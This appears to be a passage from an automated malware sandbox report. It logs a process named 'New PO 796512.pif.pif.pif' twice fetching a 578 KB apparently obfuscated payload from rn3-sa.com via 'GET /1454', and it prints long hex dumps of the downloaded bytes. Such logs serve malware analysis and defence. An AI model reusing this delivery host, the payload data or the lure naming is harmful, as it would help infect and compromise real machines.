                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: b4 2b a1 ae ae b2 ac b7 ae ae ce c0 ce b0 ae ce af ae ae ae d6 0f af ae b8 ac b7 ae ae ce af ae ae ae 1d a8 af ae b8 ac b7 ae ae ac b7 ae ae 29 a0 ae ae b2 1d a9 af ae b8 ac b7 ae ae 2c 5c b0 ae b2 d6 d0 ba ae b4 1d aa af ae b8 ac b7 ae ae ac b7 ae ae 29 a1 ae ae b2 d6 ab af ae b8 ac b7 ae ae ce b0 ae ae ae d6 ac af ae b8 d8 c1 de b8 ae df b0 ae ae c7 ae ae bf d9 c7 ac ba b0 ae f3 b2 ae ae ae 09 ae ae ae 66 af ae ae 37 af ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc b0 ae d9 7f ac b7 ae ae d6 04 af ae b8 ac b7 ae ae d6 13 af ae b8 21 e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b0 ae d9 3a ac bb ae ae ce ae ae ae ae ce ae ae ae ae ac b7
                                                                                          Data Ascii: +),\)f7,!.,_,.,:
                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: ac ba b0 ae ac b7 af ae d6 ff b0 ae b4 1d 66 ae ae b8 d4 ac ba af ae 1d 31 ae ae b8 db 4c 8c d0 ac ba af ae 23 b5 ae ae af ac bc b1 ae ac ba b1 ae da bc 2c 06 b0 ae b2 ac ba b1 ae d6 9f b8 ae b4 8a ac ba ae ae ce b1 ae ae ae d6 77 b2 ae b4 1d 66 ae ae b8 d4 2c 1c b0 ae b2 ac ba ae ae d6 d1 b9 ae b4 d8 af be ae ae b0 ae d3 ae 14 39 ae d0 ae ae ae ae c9 de b4 ae dd af ae ae 04 ae ae bf ce b1 ae ae ae d6 78 b2 ae b4 21 67 ae ae b8 ac bc ae ae 2c ae b1 ae b2 ac b7 ae ae d6 ed bb ae b4 ac bc af ae e6 5e ae ae ae 2c 77 b0 ae b2 ac ba af ae d6 25 ba ae b4 53 fb ae ae af ac bc b0 ae 2c 6a b0 ae b2 ac ba ae ae d6 ee ba ae b4 ce af ae ae ae df c7 2c ad b0 ae b2 ac ba ae ae ce af ae ae ae d6 79 b2 ae b4 d6 e8 bb ae b4 d4 ac ba ae ae 2c 3e b0 ae b2 ce b0 ae ae ae d6
                                                                                          Data Ascii: f1L#,wf,9x!g,^,w%S,j,y,>
                                                                                          2024-11-21 15:31:56 UTC16336INData Raw: ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 0a af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 0a af ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 0b af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 0b af ae b2 d8 ae ae 40 ac b7 ae ae d6 af ae ae b8 ac b7 ae ae ac b7 af ae d6 5a b0 ae b4 ac b7 ae ae ac b7 b0 ae d6 5c b0 ae b4 d8 ae ae ae c1 de b2 ae 7f ae ae ae 19 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae e6 ae ae ae 49 ae ae ae 10 ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 af ae 22 25 ae ae b0 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc af ae d9 5d ac ba ae ae 1d d5 b1 ae b4 1d 9c b0 ae b4 ce b1 ae ae ae
                                                                                          Data Ascii: )+)+@Z\I,"%,]
                                                                                          2024-11-21 15:31:56 UTC48INData Raw: b0 ae ae ae e1 bc ac ba af ae ce b0 ae ae ae 06 ac bc af ae ac b7 ae ae 29 d7 b0 ae b2 da c2 ac ba b0 ae ac b7 ae ae 29 d7 b0 ae b2 3c 17 06 ac
                                                                                          Data Ascii: ))<
                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: bc b0 ae ac ba b1 ae ac ba af ae ac ba b0 ae 06 06 ac bc b1 ae ce af ae ae ae ac bc ae ae 2c 14 b0 ae b2 ce ac ad ad ad d6 b3 b9 ae b4 ac bc b6 ae e6 ff ac ad ad ac ba b1 ae ac bc b5 ae ac ba ae ae ce af ae ae ae 06 ac bc ae ae ac ba b5 ae ce 2e ae ae ae 09 ac bc b5 ae ac ba b5 ae ce ae ae ae ae de 87 ac ba ae ae ac ba af ae 06 ac ba b0 ae 06 3b ce ae ae af ac bc b2 ae ac ba b2 ae ac ba b3 ae ce de ae ae ae ac b7 ae ae 29 7b af ae b2 ce af ae ae ae 10 0e 80 4a ac ba b2 ae ac ba b3 ae 3d ce ae ae af d3 f5 ac b7 ae ae 29 7a af ae b2 db b5 ce ae ae ae ae d9 b3 ce b6 ae ae ae 0e 80 00 ac ba b2 ae ac ba b3 ae 3d ce ae ae af d3 f5 ac b7 ae ae 29 7c af ae b2 db b5 ce ae ae ae ae d9 b3 ce af ae ae ae 0e 80 00 ac ba b3 ae ce af ae ae ae 06 ac bc b3 ae ac b7 ae ae
                                                                                          Data Ascii: ,.;){J=)z=)|


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          5192.168.2.74981366.29.153.2384436208C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:04 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:04 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:04 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:32:04 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:05 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:32:05 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          6192.168.2.74983666.29.153.2384438116C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:13 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:13 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:13 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:32:13 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:13 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:32:13 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
